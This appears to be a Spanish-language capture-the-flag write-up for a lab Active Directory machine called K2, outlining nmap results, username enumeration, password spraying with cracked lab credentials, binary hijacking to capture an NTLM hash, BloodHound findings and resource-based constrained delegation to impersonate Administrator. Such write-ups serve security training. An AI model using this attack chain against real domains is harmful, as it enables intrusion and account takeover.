BlogTwitterLinkedIn

🏔️K2 - 3/3 (AD)

With all of the information gathered, you will reach the very top and prove your skills.

Enumeración de Red

nmap

autoscan 10.10.140.240

Resultado nmap

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-08-13 08:27:39Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: k2.thm0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: k2.thm0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=K2RootDC.k2.thm
| Not valid before: 2025-08-12T08:22:55
|_Not valid after:  2026-02-11T08:22:55
| rdp-ntlm-info: 
|   Target_Name: K2
|   NetBIOS_Domain_Name: K2
|   NetBIOS_Computer_Name: K2ROOTDC
|   DNS_Domain_Name: k2.thm
|   DNS_Computer_Name: K2RootDC.k2.thm
|   DNS_Tree_Name: k2.thm
|   Product_Version: 10.0.17763
|_  System_Time: 2025-08-13T08:28:28+00:00
|_ssl-date: 2025-08-13T08:29:08+00:00; +2s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: K2ROOTDC; OS: Windows; CPE: cpe:/o:microsoft:windows

  • Windows - Active Directory

  • DNS_Computer_Name: K2RootDC.k2.thm

Enumeración de Dominio

Username-anarchy

[+] VALID USERNAME: [email protected]

Password Spraying - Credenciales Anteriores

[+] j.smith:vz0q$i8b4c

[+] k2.thm\j.smith:vz0q$i8b4c (Pwn3d!)

Iniciar sesión remota de windows

Intrusión en el Sistema

Sesión de Windows Remota: k2\j.smith

Enumeración Post-Intrusión

j.smith, o.armstrong, administrator

Comprobar permisos de binario

owner: o.armstrong

Comprobar permisos de directorio

j.smith: Full Control

Escalada de Privilegios: Binary Hijacking

Establecer Responder para escuchar conexiones

Sustituir binario por copia maliciosa

Hash NTLM capturado

Crackear hash

o.armstrong:arMStronG08

Iniciar sesión remota

Escalada de privilegios

Sesión remota de windows: o.armstrong

Enumeración Post-Escalada

K2\IT Director

Enumeración Autenticada de Dominio - BloodHound

Recolección

Información BloodHound

[email protected] → MemberOf → IT [email protected] → GenericWrite → K2RootDC.k2.thm

Resource-Based Constrained Delegation

Escalada de Privilegios: TGT Impersonation via Resource-Based Constrained Delegation

Añadir cuenta de ordenador

[*] Successfully added machine account UWU$ with password uwu123.

Asignar permiso delegate

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] UWU$ can now impersonate users on K2RootDC$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] UWU$ (S-1-5-21-1966530601-3185510712-10604624-1116)

Solicitar ticket kerberos

[*] Saving ticket in Administrator@[email protected]

Hash dump

Iniciar sesión remota con hash

Compromiso del Sistema

Sesión Remota de Windows: Administrator

Última actualización